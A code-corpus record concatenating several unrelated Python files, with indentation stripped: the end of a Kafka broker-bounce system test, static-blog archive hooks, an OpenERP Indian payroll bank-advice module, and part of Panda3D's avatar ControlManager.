# and initialize some env vars as testCasePathName is available now
# ======================================================================
self.testcaseEnv = TestcaseEnv(self.systemTestEnv, self)
self.testcaseEnv.testSuiteBaseDir = self.testSuiteAbsPathName
self.testcaseEnv.initWithKnownTestCasePathName(testCasePathName)
self.testcaseEnv.testcaseArgumentsDict = self.testcaseEnv.testcaseNonEntityDataDict["testcase_args"]
# ======================================================================
# SKIP if this case is IN testcase_to_skip.json or NOT IN testcase_to_run.json
# ======================================================================
testcaseDirName = self.testcaseEnv.testcaseResultsDict["_test_case_name"]
if self.systemTestEnv.printTestDescriptionsOnly:
self.testcaseEnv.printTestCaseDescription(testcaseDirName)
continue
elif self.systemTestEnv.isTestCaseToSkip(self.__class__.__name__, testcaseDirName):
self.log_message("Skipping : " + testcaseDirName)
skipThisTestCase = True
continue
else:
self.testcaseEnv.printTestCaseDescription(testcaseDirName)
system_test_utils.setup_remote_hosts_with_testcase_level_cluster_config(self.systemTestEnv, testCasePathName)
# ============================================================================== #
# ============================================================================== #
# Product Specific Testing Code Starts Here: #
# ============================================================================== #
# ============================================================================== #
# get optional testcase arguments
logRetentionTest = "false"
try:
logRetentionTest = self.testcaseEnv.testcaseArgumentsDict["log_retention_test"]
except:
pass
consumerMultiTopicsMode = "false"
try:
consumerMultiTopicsMode = self.testcaseEnv.testcaseArgumentsDict["consumer_multi_topics_mode"]
except:
pass
autoCreateTopic = "false"
try:
autoCreateTopic = self.testcaseEnv.testcaseArgumentsDict["auto_create_topic"]
except:
pass
# initialize self.testcaseEnv with user-defined environment variables (product specific)
self.testcaseEnv.userDefinedEnvVarDict["zkConnectStr"] = ""
self.testcaseEnv.userDefinedEnvVarDict["stopBackgroundProducer"] = False
self.testcaseEnv.userDefinedEnvVarDict["backgroundProducerStopped"] = False
self.testcaseEnv.userDefinedEnvVarDict["leaderElectionLatencyList"] = []
# initialize signal handler
signal.signal(signal.SIGINT, self.signal_handler)
# TestcaseEnv.testcaseConfigsList initialized by reading testcase properties file:
# system_test/<suite_name>_testsuite/testcase_<n>/testcase_<n>_properties.json
self.testcaseEnv.testcaseConfigsList = system_test_utils.get_json_list_data(
self.testcaseEnv.testcasePropJsonPathName)
# clean up data directories specified in zookeeper.properties and kafka_server_<n>.properties
kafka_system_test_utils.cleanup_data_at_remote_hosts(self.systemTestEnv, self.testcaseEnv)
# create "LOCAL" log directories for metrics, dashboards for each entity under this testcase
# for collecting logs from remote machines
kafka_system_test_utils.generate_testcase_log_dirs(self.systemTestEnv, self.testcaseEnv)
# TestcaseEnv - initialize producer & consumer config / log file pathnames
kafka_system_test_utils.init_entity_props(self.systemTestEnv, self.testcaseEnv)
# generate remote hosts log/config dirs if not exist
kafka_system_test_utils.generate_testcase_log_dirs_in_remote_hosts(self.systemTestEnv, self.testcaseEnv)
# generate properties files for zookeeper, kafka, producer, consumer:
# 1. copy system_test/<suite_name>_testsuite/config/*.properties to
# system_test/<suite_name>_testsuite/testcase_<n>/config/
# 2. update all properties files in system_test/<suite_name>_testsuite/testcase_<n>/config
# by overriding the settings specified in:
# system_test/<suite_name>_testsuite/testcase_<n>/testcase_<n>_properties.json
kafka_system_test_utils.generate_overriden_props_files(self.testSuiteAbsPathName,
self.testcaseEnv, self.systemTestEnv)
# =============================================
# preparing all entities to start the test
# =============================================
self.log_message("starting zookeepers")
kafka_system_test_utils.start_zookeepers(self.systemTestEnv, self.testcaseEnv)
self.anonLogger.info("sleeping for 2s")
time.sleep(2)
self.log_message("starting brokers")
kafka_system_test_utils.start_brokers(self.systemTestEnv, self.testcaseEnv)
self.anonLogger.info("sleeping for 5s")
time.sleep(5)
if autoCreateTopic.lower() == "false":
self.log_message("creating topics")
kafka_system_test_utils.create_topic(self.systemTestEnv, self.testcaseEnv)
self.anonLogger.info("sleeping for 5s")
time.sleep(5)
# =============================================
# start ConsoleConsumer if this is a Log Retention test
# =============================================
if logRetentionTest.lower() == "true":
self.log_message("starting consumer in the background")
kafka_system_test_utils.start_console_consumer(self.systemTestEnv, self.testcaseEnv)
time.sleep(1)
# =============================================
# starting producer
# =============================================
self.log_message("starting producer in the background")
kafka_system_test_utils.start_producer_performance(self.systemTestEnv, self.testcaseEnv, False)
msgProducingFreeTimeSec = self.testcaseEnv.testcaseArgumentsDict["message_producing_free_time_sec"]
self.anonLogger.info("sleeping for " + msgProducingFreeTimeSec + " sec to produce some messages")
time.sleep(int(msgProducingFreeTimeSec))
# =============================================
# A while-loop to bounce leader as specified
# by "num_iterations" in testcase_n_properties.json
# =============================================
i = 1
numIterations = int(self.testcaseEnv.testcaseArgumentsDict["num_iteration"])
brokerType = self.testcaseEnv.testcaseArgumentsDict["broker_type"]
bounceBrokerFlag = self.testcaseEnv.testcaseArgumentsDict["bounce_broker"]
while i <= numIterations:
self.log_message("Iteration " + str(i) + " of " + str(numIterations))
self.log_message("bounce_broker flag : " + bounceBrokerFlag)
leaderDict = None
controllerDict = None
stoppedBrokerEntityId = ""
# ==============================================
# Find out the entity id for the stopping broker
# ==============================================
if brokerType == "leader" or brokerType == "follower":
self.log_message("looking up leader")
leaderDict = kafka_system_test_utils.get_leader_elected_log_line(self.systemTestEnv, self.testcaseEnv, self.leaderAttributesDict)
# ==========================
# leaderDict looks like this:
# ==========================
#{'entity_id': u'3',
# 'partition': '0',
# 'timestamp': 1345050255.8280001,
# 'hostname': u'localhost',
# 'topic': 'test_1',
# 'brokerid': '3'}
if brokerType == "leader":
stoppedBrokerEntityId = leaderDict["entity_id"]
self.log_message("Found leader with entity id: " + stoppedBrokerEntityId)
else: # Follower
self.log_message("looking up follower")
# a list of all brokers
brokerEntityIdList = system_test_utils.get_data_from_list_of_dicts(self.systemTestEnv.clusterEntityConfigDictList, "role", "broker", "entity_id")
# we pick the first non-leader broker as the follower
firstFollowerEntityId = None
for brokerEntityId in brokerEntityIdList:
if brokerEntityId != leaderDict["entity_id"]:
firstFollowerEntityId = brokerEntityId
break
stoppedBrokerEntityId = firstFollowerEntityId
self.log_message("Found follower with entity id: " + stoppedBrokerEntityId)
elif brokerType == "controller":
self.log_message("looking up controller")
controllerDict = kafka_system_test_utils.get_controller_attributes(self.systemTestEnv, self.testcaseEnv)
# ==========================
# controllerDict looks like this:
# ==========================
#{'entity_id': u'3',
# 'timestamp': 1345050255.8280001,
# 'hostname': u'localhost',
# 'brokerid': '3'}
stoppedBrokerEntityId = controllerDict["entity_id"]
self.log_message("Found controller with entity id: " + stoppedBrokerEntityId)
# =============================================
# Bounce the broker
# =============================================
if bounceBrokerFlag.lower() == "true":
if brokerType == "leader":
# validate to see if leader election is successful
self.log_message("validating leader election")
kafka_system_test_utils.validate_leader_election_successful(self.testcaseEnv, leaderDict, self.testcaseEnv.validationStatusDict)
# trigger leader re-election by stopping leader to get re-election latency
reelectionLatency = kafka_system_test_utils.get_reelection_latency(self.systemTestEnv, self.testcaseEnv, leaderDict, self.leaderAttributesDict)
latencyKeyName = "Leader Election Latency - iter " + str(i) + " brokerid " + leaderDict["brokerid"]
self.testcaseEnv.validationStatusDict[latencyKeyName] = str("{0:.2f}".format(reelectionLatency * 1000)) + " ms"
self.testcaseEnv.userDefinedEnvVarDict["leaderElectionLatencyList"].append("{0:.2f}".format(reelectionLatency * 1000))
elif brokerType == "follower":
# stopping Follower
self.log_message("stopping follower with entity id: " + firstFollowerEntityId)
kafka_system_test_utils.stop_remote_entity(self.systemTestEnv, firstFollowerEntityId, self.testcaseEnv.entityBrokerParentPidDict[firstFollowerEntityId])
elif brokerType == "controller":
# stopping Controller
self.log_message("stopping controller : " + controllerDict["brokerid"])
kafka_system_test_utils.stop_remote_entity(self.systemTestEnv, controllerDict["entity_id"], self.testcaseEnv.entityBrokerParentPidDict[controllerDict["entity_id"]])
brokerDownTimeInSec = 5
try:
brokerDownTimeInSec = int(self.testcaseEnv.testcaseArgumentsDict["broker_down_time_in_sec"])
except:
pass # take default
time.sleep(brokerDownTimeInSec)
# starting previously terminated broker
self.log_message("starting the previously terminated broker")
kafka_system_test_utils.start_entity_in_background(self.systemTestEnv, self.testcaseEnv, stoppedBrokerEntityId)
else:
# GC Pause simulation
pauseTime = None
try:
hostname = leaderDict["hostname"]
pauseTime = self.testcaseEnv.testcaseArgumentsDict["pause_time_in_seconds"]
parentPid = self.testcaseEnv.entityBrokerParentPidDict[leaderDict["entity_id"]]
pidStack = system_test_utils.get_remote_child_processes(hostname, parentPid)
system_test_utils.simulate_garbage_collection_pause_in_remote_process(hostname, pidStack, pauseTime)
except:
pass
self.anonLogger.info("sleeping for 15s")
time.sleep(15)
i += 1
# while loop
# update Leader Election Latency MIN/MAX to testcaseEnv.validationStatusDict
self.testcaseEnv.validationStatusDict["Leader Election Latency MIN"] = None
try:
self.testcaseEnv.validationStatusDict["Leader Election Latency MIN"] = \
min(self.testcaseEnv.userDefinedEnvVarDict["leaderElectionLatencyList"])
except:
pass
self.testcaseEnv.validationStatusDict["Leader Election Latency MAX"] = None
try:
self.testcaseEnv.validationStatusDict["Leader Election Latency MAX"] = \
max(self.testcaseEnv.userDefinedEnvVarDict["leaderElectionLatencyList"])
except:
pass
# =============================================
# tell producer to stop
# =============================================
self.testcaseEnv.lock.acquire()
self.testcaseEnv.userDefinedEnvVarDict["stopBackgroundProducer"] = True
time.sleep(1)
self.testcaseEnv.lock.release()
time.sleep(1)
# =============================================
# wait for producer thread's update of
# "backgroundProducerStopped" to be "True"
# =============================================
while 1:
self.testcaseEnv.lock.acquire()
self.logger.info("status of backgroundProducerStopped : [" + \
str(self.testcaseEnv.userDefinedEnvVarDict["backgroundProducerStopped"]) + "]", extra=self.d)
if self.testcaseEnv.userDefinedEnvVarDict["backgroundProducerStopped"]:
time.sleep(1)
self.logger.info("all producer threads completed", extra=self.d)
break
time.sleep(1)
self.testcaseEnv.lock.release()
time.sleep(2)
# =============================================
# collect logs from remote hosts to find the
# minimum common offset of a certain log
# segment file among all replicas
# =============================================
minStartingOffsetDict = None
if logRetentionTest.lower() == "true":
self.anonLogger.info("sleeping for 60s to make sure log truncation is completed")
time.sleep(60)
kafka_system_test_utils.collect_logs_from_remote_hosts(self.systemTestEnv, self.testcaseEnv)
minStartingOffsetDict = kafka_system_test_utils.getMinCommonStartingOffset(self.systemTestEnv, self.testcaseEnv)
print
pprint.pprint(minStartingOffsetDict)
# =============================================
# starting debug consumer
# =============================================
if consumerMultiTopicsMode.lower() == "false":
self.log_message("starting debug consumers in the background")
kafka_system_test_utils.start_simple_consumer(self.systemTestEnv, self.testcaseEnv, minStartingOffsetDict)
self.anonLogger.info("sleeping for 10s")
time.sleep(10)
# =============================================
# starting console consumer
# =============================================
if logRetentionTest.lower() == "false":
self.log_message("starting consumer in the background")
kafka_system_test_utils.start_console_consumer(self.systemTestEnv, self.testcaseEnv)
time.sleep(10)
# =============================================
# this testcase is completed - stop all entities
# =============================================
self.log_message("stopping all entities")
for entityId, parentPid in self.testcaseEnv.entityBrokerParentPidDict.items():
kafka_system_test_utils.stop_remote_entity(self.systemTestEnv, entityId, parentPid)
for entityId, parentPid in self.testcaseEnv.entityZkParentPidDict.items():
kafka_system_test_utils.stop_remote_entity(self.systemTestEnv, entityId, parentPid)
# make sure all entities are stopped
kafka_system_test_utils.ps_grep_terminate_running_entity(self.systemTestEnv)
# =============================================
# collect logs from remote hosts
# =============================================
kafka_system_test_utils.collect_logs_from_remote_hosts(self.systemTestEnv, self.testcaseEnv)
# =============================================
# validate the data matched and checksum
# =============================================
self.log_message("validating data matched")
if logRetentionTest.lower() == "true":
kafka_system_test_utils.validate_simple_consumer_data_matched_across_replicas(self.systemTestEnv, self.testcaseEnv)
kafka_system_test_utils.validate_data_matched(self.systemTestEnv, self.testcaseEnv)
elif consumerMultiTopicsMode.lower() == "true":
#kafka_system_test_utils.validate_broker_log_segment_checksum(self.systemTestEnv, self.testcaseEnv)
kafka_system_test_utils.validate_data_matched_in_multi_topics_from_single_consumer_producer(self.systemTestEnv, self.testcaseEnv)
else:
kafka_system_test_utils.validate_simple_consumer_data_matched_across_replicas(self.systemTestEnv, self.testcaseEnv)
#kafka_system_test_utils.validate_broker_log_segment_checksum(self.systemTestEnv, self.testcaseEnv)
kafka_system_test_utils.validate_data_matched(self.systemTestEnv, self.testcaseEnv)
# =============================================
# draw graphs
# =============================================
metrics.draw_all_graphs(self.systemTestEnv.METRICS_PATHNAME,
self.testcaseEnv,
self.systemTestEnv.clusterEntityConfigDictList)
# build dashboard, one for each role
metrics.build_all_dashboards(self.systemTestEnv.METRICS_PATHNAME,
self.testcaseEnv.testCaseDashboardsDir,
self.systemTestEnv.clusterEntityConfigDictList)
except Exception as e:
self.log_message("Exception while running test {0}".format(e))
traceback.print_exc()
finally:
if not skipThisTestCase and not self.systemTestEnv.printTestDescriptionsOnly:
self.log_message("stopping all entities - please wait ...")
kafka_system_test_utils.stop_all_remote_running_processes(self.systemTestEnv, self.testcaseEnv)
|
apache-2.0
|
avidity/racconto
|
racconto/hooks/__init__.py
|
1
|
2994
|
from datetime import datetime as d
from distutils.dir_util import copy_tree
import os
from racconto.generator import Generator
from racconto.settings_manager import SettingsManager as SETTINGS
def generate_archive(pages, posts):
"""
Generate archive from posts. Assumes posts have been generated (i.e directories)
posts - a sorted list of Post objects
"""
# Dict with nested dicts: {year: {month: {day: [list, of, posts] } }
archive = {}
for post in posts:
timestamp = post.date.isoformat()
year = post.date.strftime("%Y")
month = post.date.strftime("%m")
day = post.date.strftime("%d")
# Setup data structures
if year not in archive:
archive[year] = {}
if month not in archive[year]:
archive[year][month] = {}
if day not in archive[year][month]:
archive[year][month][day] = []
# Populate with post
archive[year][month][day].append(post)
year_template = SETTINGS.get("YEAR_TEMPLATE")
month_template = SETTINGS.get("MONTH_TEMPLATE")
day_template = SETTINGS.get("DAY_TEMPLATE")
BLOGDIR = SETTINGS.get('BLOGDIR')
for year in archive:
path = "%s/%s" % (BLOGDIR, year)
Generator.generate_index_file(path, year_template, **{"post_dict": archive[year], "year": year})
for month in archive[year]:
path = "%s/%s/%s" % (BLOGDIR, year, month)
Generator.generate_index_file(path, month_template, **{"post_dict": archive[year][month], "year": year, "month": month})
for day in archive[year][month]:
path = "%s/%s/%s/%s" % (BLOGDIR, year, month, day)
Generator.generate_index_file(path, day_template, **{"post_list": archive[year][month][day], "year": year, "month": month, "day": day})
def copy_static_files(*args):
"""Copy static files and move favicon and apple-touch-icon to site root
"""
TEMPLATEDIR = SETTINGS.get('TEMPLATEDIR')
STATICDIR = SETTINGS.get('STATICDIR')
SITEDIR = SETTINGS.get('SITEDIR')
static_site = "%s/%s" % (SITEDIR, STATICDIR)
copy_tree(STATICDIR, static_site)
try:
os.rename("%s/favicon.ico" % static_site, "%s/favicon.ico" % SITEDIR)
os.rename("%s/apple-touch-icon.png" % static_site,
"%s/apple-touch-icon.png" % SITEDIR)
except OSError, e:
print "[Warning] Could not copy favicon and apple-touch-icon."
# FIXME consolidate these two methods
def generate_blog_index_file_10(pages, posts):
"""Creates an index file with the 10 latest blog posts
"""
SITEDIR = SETTINGS.get('SITEDIR')
Generator.generate_index_file(SITEDIR, "index.html", **{"post_list": posts[0:10]})
def generate_blog_index_file(pages, posts):
# FIXME make this a bit more flexible
BLOGDIR = SETTINGS.get('BLOGDIR')
TEMPLATE = SETTINGS.get('BLOG_INDEX_TEMPLATE')
Generator.generate_index_file(BLOGDIR, TEMPLATE, **{"post_list": posts[0:5]})
|
mit
|
rvalyi/OpenUpgrade
|
addons/l10n_in_hr_payroll/l10n_in_hr_payroll.py
|
39
|
13980
|
#-*- coding:utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2011 OpenERP SA (<http://openerp.com>). All Rights Reserved
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
import time
from datetime import datetime
from dateutil.relativedelta import relativedelta
from calendar import isleap
from openerp.tools.translate import _
from openerp.osv import fields, osv
import openerp.addons.decimal_precision as dp
DATETIME_FORMAT = "%Y-%m-%d"
class hr_contract(osv.osv):
"""
Employee contract allows to add different values in fields.
Fields are used in salary rule computation.
"""
_inherit = 'hr.contract'
_description = 'HR Contract'
_columns = {
'tds': fields.float('TDS', digits_compute=dp.get_precision('Payroll'), help="Amount for Tax Deduction at Source"),
'driver_salay': fields.boolean('Driver Salary', help="Check this box if you provide allowance for driver"),
'medical_insurance': fields.float('Medical Insurance', digits_compute=dp.get_precision('Payroll'), help="Deduction towards company provided medical insurance"),
'voluntary_provident_fund': fields.float('Voluntary Provident Fund (%)', digits_compute=dp.get_precision('Payroll'), help="VPF is a safe option wherein you can contribute more than the PF ceiling of 12% that has been mandated by the government and VPF computed as percentage(%)"),
'house_rent_allowance_metro_nonmetro': fields.float('House Rent Allowance (%)', digits_compute=dp.get_precision('Payroll'), help="HRA is an allowance given by the employer to the employee for taking care of his rental or accommodation expenses for metro city it is 50% and for non metro 40%. \nHRA computed as percentage(%)"),
'supplementary_allowance': fields.float('Supplementary Allowance', digits_compute=dp.get_precision('Payroll')),
}
class payroll_advice(osv.osv):
'''
Bank Advice
'''
_name = 'hr.payroll.advice'
_description = 'Bank Advice'
_columns = {
'name':fields.char('Name', size=32, readonly=True, required=True, states={'draft': [('readonly', False)]},),
'note': fields.text('Description'),
'date': fields.date('Date', readonly=True, required=True, states={'draft': [('readonly', False)]}, help="Advice Date is used to search Payslips"),
'state':fields.selection([
('draft', 'Draft'),
('confirm', 'Confirmed'),
('cancel', 'Cancelled'),
], 'Status', select=True, readonly=True),
'number':fields.char('Reference', size=16, readonly=True),
'line_ids':fields.one2many('hr.payroll.advice.line', 'advice_id', 'Employee Salary', states={'draft': [('readonly', False)]}, readonly=True),
'chaque_nos':fields.char('Cheque Numbers', size=256),
'neft': fields.boolean('NEFT Transaction', help="Check this box if your company use online transfer for salary"),
'company_id':fields.many2one('res.company', 'Company', required=True, readonly=True, states={'draft': [('readonly', False)]}),
'bank_id':fields.many2one('res.bank', 'Bank', readonly=True, states={'draft': [('readonly', False)]}, help="Select the Bank from which the salary is going to be paid"),
'batch_id': fields.many2one('hr.payslip.run', 'Batch', readonly=True)
}
_defaults = {
'date': lambda * a: time.strftime('%Y-%m-%d'),
'state': lambda * a: 'draft',
'company_id': lambda self, cr, uid, context: \
self.pool.get('res.users').browse(cr, uid, uid,
context=context).company_id.id,
'note': "Please make the payroll transfer from above account number to the below mentioned account numbers towards employee salaries:"
}
def compute_advice(self, cr, uid, ids, context=None):
"""
Advice - Create Advice lines in Payment Advice and
compute Advice lines.
@param cr: the current row, from the database cursor,
@param uid: the current user’s ID for security checks,
@param ids: List of Advice’s IDs
@return: Advice lines
@param context: A standard dictionary for contextual values
"""
payslip_pool = self.pool.get('hr.payslip')
advice_line_pool = self.pool.get('hr.payroll.advice.line')
payslip_line_pool = self.pool.get('hr.payslip.line')
for advice in self.browse(cr, uid, ids, context=context):
old_line_ids = advice_line_pool.search(cr, uid, [('advice_id', '=', advice.id)], context=context)
if old_line_ids:
advice_line_pool.unlink(cr, uid, old_line_ids, context=context)
slip_ids = payslip_pool.search(cr, uid, [('date_from', '<=', advice.date), ('date_to', '>=', advice.date), ('state', '=', 'done')], context=context)
for slip in payslip_pool.browse(cr, uid, slip_ids, context=context):
if not slip.employee_id.bank_account_id and not slip.employee_id.bank_account_id.acc_number:
raise osv.except_osv(_('Error!'), _('Please define bank account for the %s employee') % (slip.employee_id.name))
line_ids = payslip_line_pool.search(cr, uid, [ ('slip_id', '=', slip.id), ('code', '=', 'NET')], context=context)
if line_ids:
line = payslip_line_pool.browse(cr, uid, line_ids, context=context)[0]
advice_line = {
'advice_id': advice.id,
'name': slip.employee_id.bank_account_id.acc_number,
'employee_id': slip.employee_id.id,
'bysal': line.total
}
advice_line_pool.create(cr, uid, advice_line, context=context)
payslip_pool.write(cr, uid, slip_ids, {'advice_id': advice.id}, context=context)
return True
def confirm_sheet(self, cr, uid, ids, context=None):
"""
confirm Advice - confirmed Advice after computing Advice Lines..
@param cr: the current row, from the database cursor,
@param uid: the current user’s ID for security checks,
@param ids: List of confirm Advice’s IDs
@return: confirmed Advice lines and set sequence of Advice.
@param context: A standard dictionary for contextual values
"""
seq_obj = self.pool.get('ir.sequence')
for advice in self.browse(cr, uid, ids, context=context):
if not advice.line_ids:
raise osv.except_osv(_('Error!'), _('You can not confirm Payment advice without advice lines.'))
advice_date = datetime.strptime(advice.date, DATETIME_FORMAT)
advice_year = advice_date.strftime('%m') + '-' + advice_date.strftime('%Y')
number = seq_obj.get(cr, uid, 'payment.advice')
sequence_num = 'PAY' + '/' + advice_year + '/' + number
self.write(cr, uid, [advice.id], {'number': sequence_num, 'state': 'confirm'}, context=context)
return True
def set_to_draft(self, cr, uid, ids, context=None):
"""Resets Advice as draft.
"""
return self.write(cr, uid, ids, {'state':'draft'}, context=context)
def cancel_sheet(self, cr, uid, ids, context=None):
"""Marks Advice as cancelled.
"""
return self.write(cr, uid, ids, {'state':'cancel'}, context=context)
def onchange_company_id(self, cr, uid, ids, company_id=False, context=None):
res = {}
if company_id:
company = self.pool.get('res.company').browse(cr, uid, [company_id], context=context)[0]
if company.partner_id.bank_ids:
res.update({'bank_id': company.partner_id.bank_ids[0].bank.id})
return {
'value':res
}
class hr_payslip_run(osv.osv):
_inherit = 'hr.payslip.run'
_description = 'Payslip Batches'
_columns = {
'available_advice': fields.boolean('Made Payment Advice?', help="If this box is checked which means that Payment Advice exists for current batch", readonly=False),
}
def copy(self, cr, uid, id, default={}, context=None):
if not default:
default = {}
default.update({'available_advice': False})
return super(hr_payslip_run, self).copy(cr, uid, id, default, context=context)
def draft_payslip_run(self, cr, uid, ids, context=None):
res = super(hr_payslip_run, self).draft_payslip_run(cr, uid, ids, context=context)
self.write(cr, uid, ids, {'available_advice': False}, context=context)
return res
def create_advice(self, cr, uid, ids, context=None):
payslip_pool = self.pool.get('hr.payslip')
payslip_line_pool = self.pool.get('hr.payslip.line')
advice_pool = self.pool.get('hr.payroll.advice')
advice_line_pool = self.pool.get('hr.payroll.advice.line')
users = self.pool.get('res.users').browse(cr, uid, [uid], context=context)
for run in self.browse(cr, uid, ids, context=context):
if run.available_advice:
raise osv.except_osv(_('Error!'), _("Payment advice already exists for %s, 'Set to Draft' to create a new advice.") %(run.name))
advice_data = {
'batch_id': run.id,
'company_id': users[0].company_id.id,
'name': run.name,
'date': run.date_end,
'bank_id': users[0].company_id.bank_ids and users[0].company_id.bank_ids[0].id or False
}
advice_id = advice_pool.create(cr, uid, advice_data, context=context)
slip_ids = []
for slip_id in run.slip_ids:
# TODO is it necessary to interleave the calls ?
payslip_pool.signal_hr_verify_sheet(cr, uid, [slip_id.id])
payslip_pool.signal_process_sheet(cr, uid, [slip_id.id])
slip_ids.append(slip_id.id)
for slip in payslip_pool.browse(cr, uid, slip_ids, context=context):
if not slip.employee_id.bank_account_id or not slip.employee_id.bank_account_id.acc_number:
raise osv.except_osv(_('Error!'), _('Please define bank account for the %s employee') % (slip.employee_id.name))
line_ids = payslip_line_pool.search(cr, uid, [('slip_id', '=', slip.id), ('code', '=', 'NET')], context=context)
if line_ids:
line = payslip_line_pool.browse(cr, uid, line_ids, context=context)[0]
advice_line = {
'advice_id': advice_id,
'name': slip.employee_id.bank_account_id.acc_number,
'employee_id': slip.employee_id.id,
'bysal': line.total
}
advice_line_pool.create(cr, uid, advice_line, context=context)
return self.write(cr, uid, ids, {'available_advice' : True})
class payroll_advice_line(osv.osv):
'''
Bank Advice Lines
'''
def onchange_employee_id(self, cr, uid, ids, employee_id=False, context=None):
res = {}
hr_obj = self.pool.get('hr.employee')
if not employee_id:
return {'value': res}
employee = hr_obj.browse(cr, uid, [employee_id], context=context)[0]
res.update({'name': employee.bank_account_id.acc_number , 'ifsc_code': employee.bank_account_id.bank_bic or ''})
return {'value': res}
_name = 'hr.payroll.advice.line'
_description = 'Bank Advice Lines'
_columns = {
'advice_id': fields.many2one('hr.payroll.advice', 'Bank Advice'),
'name': fields.char('Bank Account No.', size=25, required=True),
'ifsc_code': fields.char('IFSC Code', size=16),
'employee_id': fields.many2one('hr.employee', 'Employee', required=True),
'bysal': fields.float('By Salary', digits_compute=dp.get_precision('Payroll')),
'debit_credit': fields.char('C/D', size=3, required=False),
'company_id': fields.related('advice_id', 'company_id', type='many2one', required=False, relation='res.company', string='Company', store=True),
'ifsc': fields.related('advice_id', 'neft', type='boolean', string='IFSC'),
}
_defaults = {
'debit_credit': 'C',
}
class hr_payslip(osv.osv):
'''
Employee Pay Slip
'''
_inherit = 'hr.payslip'
_description = 'Pay Slips'
_columns = {
'advice_id': fields.many2one('hr.payroll.advice', 'Bank Advice')
}
def copy(self, cr, uid, id, default={}, context=None):
if not default:
default = {}
default.update({'advice_id' : False})
return super(hr_payslip, self).copy(cr, uid, id, default, context=context)
class res_company(osv.osv):
_inherit = 'res.company'
_columns = {
'dearness_allowance': fields.boolean('Dearness Allowance', help="Check this box if your company provide Dearness Allowance to employee")
}
_defaults = {
'dearness_allowance': True,
}
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
|
agpl-3.0
|
toontownfunserver/Panda3D-1.9.0
|
direct/controls/ControlManager.py
|
11
|
14176
|
from direct.showbase.InputStateGlobal import inputState
#from DirectGui import *
#from PythonUtil import *
#from IntervalGlobal import *
#from otp.avatar import Avatar
from direct.directnotify import DirectNotifyGlobal
#import GhostWalker
#import GravityWalker
#import NonPhysicsWalker
#import PhysicsWalker
#if __debug__:
# import DevWalker
from direct.task import Task
CollisionHandlerRayStart = 4000.0 # This is a hack, it may be better to use a line instead of a ray.
class ControlManager:
notify = DirectNotifyGlobal.directNotify.newCategory("ControlManager")
wantAvatarPhysicsIndicator = config.GetBool('want-avatar-physics-indicator', 0)
wantAvatarPhysicsDebug = config.GetBool('want-avatar-physics-debug', 0)
wantWASD = config.GetBool('want-WASD', 0)
def __init__(self, enable=True, passMessagesThrough = False):
assert self.notify.debug("init control manager %s" % (passMessagesThrough))
assert self.notify.debugCall(id(self))
self.passMessagesThrough = passMessagesThrough
self.inputStateTokens = []
# Used to switch between strafe and turn. We will reset to whatever was last set.
self.WASDTurnTokens = []
self.__WASDTurn = True
self.controls = {}
self.currentControls = None
self.currentControlsName = None
self.isEnabled = 0
if enable:
self.enable()
#self.monitorTask = taskMgr.add(self.monitor, "ControlManager-%s"%(id(self)), priority=-1)
self.forceAvJumpToken = None
if self.passMessagesThrough: # for not breaking toontown
ist=self.inputStateTokens
ist.append(inputState.watchWithModifiers("forward", "arrow_up", inputSource=inputState.ArrowKeys))
ist.append(inputState.watchWithModifiers("reverse", "arrow_down", inputSource=inputState.ArrowKeys))
ist.append(inputState.watchWithModifiers("turnLeft", "arrow_left", inputSource=inputState.ArrowKeys))
ist.append(inputState.watchWithModifiers("turnRight", "arrow_right", inputSource=inputState.ArrowKeys))
def __str__(self):
return 'ControlManager: using \'%s\'' % self.currentControlsName
def add(self, controls, name="basic"):
"""
controls is an avatar control system.
name is any key that you want to use to refer to the
the controls later (e.g. using the use(<name>) call).
Add a control instance to the list of available control systems.
See also: use().
"""
assert self.notify.debugCall(id(self))
assert controls is not None
oldControls = self.controls.get(name)
if oldControls is not None:
assert self.notify.debug("Replacing controls: %s" % name)
oldControls.disableAvatarControls()
oldControls.setCollisionsActive(0)
oldControls.delete()
controls.disableAvatarControls()
controls.setCollisionsActive(0)
self.controls[name] = controls
def get(self, name):
return self.controls.get(name)
def remove(self, name):
"""
name is any key that was used to refer to the
the controls when they were added (e.g.
using the add(<controls>, <name>) call).
Remove a control instance from the list of
available control systems.
See also: add().
"""
assert self.notify.debugCall(id(self))
oldControls = self.controls.pop(name,None)
if oldControls is not None:
assert self.notify.debug("Removing controls: %s" % name)
oldControls.disableAvatarControls()
oldControls.setCollisionsActive(0)
if __debug__:
def lockControls(self):
self.ignoreUse=True
def unlockControls(self):
if hasattr(self, "ignoreUse"):
del self.ignoreUse
def use(self, name, avatar):
"""
name is a key (string) that was previously passed to add().
Use a previously added control system.
See also: add().
"""
assert self.notify.debugCall(id(self))
if __debug__ and hasattr(self, "ignoreUse"):
return
controls = self.controls.get(name)
if controls is not None:
if controls is not self.currentControls:
if self.currentControls is not None:
self.currentControls.disableAvatarControls()
self.currentControls.setCollisionsActive(0)
self.currentControls.setAvatar(None)
self.currentControls = controls
self.currentControlsName = name
self.currentControls.setAvatar(avatar)
self.currentControls.setCollisionsActive(1)
if self.isEnabled:
self.currentControls.enableAvatarControls()
messenger.send('use-%s-controls'%(name,), [avatar])
#else:
# print "Controls are already", name
else:
assert self.notify.debug("Unkown controls: %s" % name)
def setSpeeds(self, forwardSpeed, jumpForce,
reverseSpeed, rotateSpeed, strafeLeft=0, strafeRight=0):
assert self.notify.debugCall(id(self))
for controls in self.controls.values():
controls.setWalkSpeed(
forwardSpeed, jumpForce, reverseSpeed, rotateSpeed)
def delete(self):
assert self.notify.debugCall(id(self))
self.disable()
for controls in self.controls.keys():
self.remove(controls)
del self.controls
del self.currentControls
for token in self.inputStateTokens:
token.release()
for token in self.WASDTurnTokens:
token.release()
self.WASDTurnTokens = []
#self.monitorTask.remove()
def getSpeeds(self):
if self.currentControls:
return self.currentControls.getSpeeds()
return None
def getIsAirborne(self):
if self.currentControls:
return self.currentControls.getIsAirborne()
return False
def setTag(self, key, value):
assert self.notify.debugCall(id(self))
for controls in self.controls.values():
controls.setTag(key, value)
